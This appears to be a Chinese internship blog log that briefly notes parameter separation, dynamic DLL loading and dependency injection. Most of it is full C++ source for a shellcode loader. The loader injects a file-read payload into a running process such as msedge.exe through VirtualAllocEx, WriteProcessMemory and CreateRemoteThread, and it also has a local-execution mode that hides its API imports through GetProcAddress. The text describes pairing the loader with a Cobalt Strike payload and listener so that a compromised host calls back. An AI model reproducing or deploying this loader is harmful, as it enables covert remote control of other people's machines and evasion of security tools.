2024.7.17实习日志

一、参数分离

        C++中可将程序的参数从程序代码中分离出来,以便在运行时可以通过命令行或其他方式传递参数给程序。这种做法可以使程序更加灵活,可以根据不同的需求传递不同的参数,而不需要修改源代码。通过程序参数分离,可以实现程序的参数化配置,提高程序的可定制性和可重用性。

二、动态调用

        由编程者用API函数加载和卸载dll来达到调用dll的目的。

三、注入模块

        是一种设计模式,用于减少软件组件之间的耦合度,提高代码的可测试性、可维护性和可扩展性。在依赖注入中,组件的依赖关系不是在组件内部创建或硬编码的,而是通过外部提供的方式注入到组件中。

四、示例

源文件:

#include <windows.h>
#include <tlhelp32.h>
#include <fstream>
#include<iostream>
using namespace std;

// 函数用于创建远程线程执行 shellcode
void createThreadTest() {
    char filename[] = "E:\\programm\\C++\\Internet\\No2\\box.dll";
    // 以读模式打开文件
    ifstream infile;
    //以二进制方式打开
    infile.open(filename, ios::out | ios::binary);
    infile.seekg(0, infile.end); //追溯到流的尾部
    int length = infile.tellg(); //获取流的长度
    infile.seekg(0, infile.beg);//回溯到流头部
    char* data = new char[length]; //存取文件内容
    if (infile.is_open()) {
        cout << "reading from the file" << endl;
        infile.read(data, length);
    }
    HANDLE snapshot_handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot_handle != INVALID_HANDLE_VALUE) {
        // 枚举进程
        PROCESSENTRY32 process_entry;
        process_entry.dwSize = sizeof(PROCESSENTRY32);
        if (Process32First(snapshot_handle, &process_entry)) {
            do {
                // 将进程名转换为宽字符串
                std::wstring extFileName(process_entry.szExeFile);
                // 如果进程名包含 "msedge.exe" 则进行以下操作
                if (extFileName.find(L"msedge.exe") != std::string::npos) {
                    // 打开进程
                    HANDLE process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, process_entry.th32ProcessID);
                    if (process_handle != NULL) {
                        // 在远程进程中分配内存
                        LPVOID remote_buffer = VirtualAllocEx(process_handle, NULL, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
                        if (remote_buffer != NULL) {
                            SIZE_T bytes_written;
                            // 将 code 写入远程进程内存
                            if (WriteProcessMemory(process_handle, remote_buffer, data, length, &bytes_written)) {
                                std::cout << "Remote buffer address: " << remote_buffer << std::endl;

                                // 在远程进程中创建线程执行 code
                                HANDLE remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)remote_buffer, NULL, 0, NULL);
                                if (remote_thread != NULL) {
                                    // 等待线程结束
                                    WaitForSingleObject(remote_thread, INFINITE);
                                    CloseHandle(remote_thread);
                                }
                            }
                            // 关闭远程内存句柄
                            CloseHandle(remote_buffer);
                        }
                        // 关闭进程句柄
                        CloseHandle(process_handle);
                    }
                }
            } while (Process32Next(snapshot_handle, &process_entry)); // 继续枚举下一个进程
        }
        // 关闭进程快照句柄
        CloseHandle(snapshot_handle);
    }
}
// 主函数
int main() {
    // 调用函数执行创建远程线程的操作
    createThreadTest();
    return 0;
}

头文件:

#pragma once

#include<Windows.h>

#include <tlhelp32.h>

#include <fstream>

#include<iostream>

using namespace std;

typedef LPVOID(WINAPI* fn_VirtualAllocEx)(

    HANDLE hProcess,

    LPVOID lpAddress,

    SIZE_T dwSize,

    DWORD  flAllocationType,

    DWORD  flProtect

    );

typedef HANDLE(WINAPI* fn_OpenProcess)(

    _In_ DWORD dwDesiredAccess,

    _In_ BOOL bInheritHandle,

    _In_ DWORD dwProcessId

    );

五、示例

修改项目命令行参数:

在Cobalt Strike中建立如下listener:

在云服务器中设立端口:

利用Cobalt Strike生成文件,重命名为box.dll文件:

在cmd中进行如下操作:

执行完命令后可观察到Cobalt Strike中上线:

源代码:

#include "myFunc.h"

//字符转宽字符
wchar_t* AtoW(char** a) {
    setlocale(LC_ALL, "");

    // 原始的char*字符串
    char* char_str = *a;

    // 确定所需的wchar_t缓冲区的大小
    size_t wchar_size = mbstowcs(NULL, char_str, 0) + 1;
    if (wchar_size == (size_t)-1) {
        perror("mbstowcs");
        return 0;
    }

    // 分配wchar_t缓冲区
    wchar_t* wchar_str = (wchar_t*)malloc(wchar_size * sizeof(wchar_t));
    if (wchar_str == NULL) {
        perror("malloc");
        return 0;
    }

    // 执行转换
    mbstowcs(wchar_str, char_str, wchar_size);
    return wchar_str;
}

//读取shellcode
char* ReadFile(SIZE_T* length, char* file) {
    char* filename = file;
    ifstream infile;
    infile.open(filename, ios::out | ios::binary);
    infile.seekg(0, infile.end);
    *length = infile.tellg();
    infile.seekg(0, infile.beg);
    char* data = new char[*length];
    if (infile.is_open()) {
        cout << "reading from the file" << endl;
        infile.read(data, *length);
    }
    return data;
}

//注入进程
void Inject(char* argv[]) {
    SIZE_T length = 0;
    char* data;
    data = ReadFile(&length, argv[2]);

    /*LPVOID mem = VirtualAlloc(NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    RtlMoveMemory(mem, data, length);
    EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);*/

    HANDLE snapshot_handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);   //快照(留像)
    if (snapshot_handle != INVALID_HANDLE_VALUE) {
        // 枚举进程
        PROCESSENTRY32 process_entry;
        process_entry.dwSize = sizeof(PROCESSENTRY32);
        if (Process32First(snapshot_handle, &process_entry)) {
            do {
                // 将进程名转换为宽字符串
                std::wstring extFileName(process_entry.szExeFile);
                wchar_t* exename = AtoW(&argv[3]);
                // 如果进程名包含 "msedge.exe" 则进行以下操作  std::string::npos == 当初遍历的进程名
                if (extFileName.find(exename) != std::string::npos) {
                    // 打开进程
                    fn_OpenProcess myOpenProcess = (fn_OpenProcess)GetProcAddress(LoadLibraryA("kernel32.dll"), "OpenProcess");
                    HANDLE process_handle = myOpenProcess(PROCESS_ALL_ACCESS, FALSE, process_entry.th32ProcessID);
                    if (process_handle != NULL) {
                        // 在远程进程中分配内存
                        fn_VirtualAllocEx myVirtualAllocEx = (fn_VirtualAllocEx)GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAllocEx");
                        LPVOID remote_buffer = myVirtualAllocEx(process_handle, NULL, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
                        if (remote_buffer != NULL) {
                            SIZE_T bytes_written;
                            // 将 code 写入远程进程内存
                            if (WriteProcessMemory(process_handle, remote_buffer, data, length, &bytes_written)) {
                                std::cout << "Remote buffer address: " << remote_buffer << std::endl;

                                // 在远程进程中创建线程执行 code
                                HANDLE remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)remote_buffer, NULL, 0, NULL);
                                if (remote_thread != NULL) {
                                    // 等待线程结束
                                    WaitForSingleObject(remote_thread, INFINITE);
                                    CloseHandle(remote_thread);
                                }
                            }
                            // 关闭远程内存句柄
                            CloseHandle(remote_buffer);
                        }
                        // 关闭进程句柄
                        CloseHandle(process_handle);
                    }
                }
            } while (Process32Next(snapshot_handle, &process_entry)); // 继续枚举下一个进程
        }
        // 关闭进程快照句柄
        CloseHandle(snapshot_handle);
    }
}

//正常上线
VOID Normal(char* file) {
    SIZE_T length = 0;
    char* data = NULL;
    data = ReadFile(&length, file);

    fn_VirtualAlloc myVirtualAlloc = (fn_VirtualAlloc)GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAlloc");
    fn_CreateThread myCreateThread = (fn_CreateThread)GetProcAddress(LoadLibraryA("kernel32.dll"), "CreateThread");

    LPVOID shell_addr = myVirtualAlloc(NULL, length, 0x00001000, 0x40);
    memcpy(shell_addr, data, length);
    HANDLE HThread = myCreateThread(0, 0, (LPTHREAD_START_ROUTINE)shell_addr, 0, 0, 0);
    WaitForSingleObject(HThread, -1);
}

// 主函数
int main(int argc, char* argv[]) {
    if (strcmp(argv[1], "-i") == 0) {
        if (argc == 4) {
            printf("Injecting!!!\n");
            Inject(argv);
        }
        else {
            wprintf(L"注入方式:-i 路径 进程名\n");
        }
    }
    if (strcmp(argv[1], "-d") == 0) {
        Normal(argv[2]);
    };
    if (strcmp(argv[1], "-h") == 0) {
        printf("-i Inject\n-h help\n-d normal\n");
    }
    /*printf("%d\n", argc);
    printf("%s", argv[1]);*/
    return 0;
}
 

头文件:

#pragma once
#include<Windows.h>
#include <tlhelp32.h>
#include <fstream>
#include<iostream>
using namespace std; 

typedef LPVOID(WINAPI* fn_VirtualAllocEx)(
    HANDLE hProcess,
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD  flAllocationType,
    DWORD  flProtect
    );

typedef HANDLE(WINAPI* fn_OpenProcess)(
    _In_ DWORD dwDesiredAccess,
    _In_ BOOL bInheritHandle,
    _In_ DWORD dwProcessId
    );

typedef LPVOID(WINAPI* fn_VirtualAlloc)(
    _In_opt_ LPVOID lpAddress,
    _In_     SIZE_T dwSize,
    _In_     DWORD flAllocationType,
    _In_     DWORD flProtect
    );

typedef HANDLE(WINAPI* fn_CreateThread)(
    _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
    _In_ SIZE_T dwStackSize,
    _In_ LPTHREAD_START_ROUTINE lpStartAddress,
    _In_opt_ __drv_aliasesMem LPVOID lpParameter,
    _In_ DWORD dwCreationFlags,
    _Out_opt_ LPDWORD lpThreadId
    );

typedef HANDLE(WINAPI* fn_VirtualAlloc)(
    _In_opt_ LPVOID lpAddress,
    _In_     SIZE_T dwSize,
    _In_     DWORD flAllocationType,
    _In_     DWORD flProtect
    );
typedef HANDLE(WINAPI* fn_CreateThread)(
    _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
    _In_ SIZE_T dwStackSize,
    _In_ LPTHREAD_START_ROUTINE lpStartAddress,
    _In_opt_ __drv_aliasesMem LPVOID lpParameter,
    _In_ DWORD dwCreationFlags,
    _Out_opt_ LPDWORD lpThreadId
    );
typedef HANDLE(WINAPI* fn_WaitForSingleObject)(
    _In_ HANDLE hHandle,
    _In_ DWORD dwMilliseconds
    );
 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值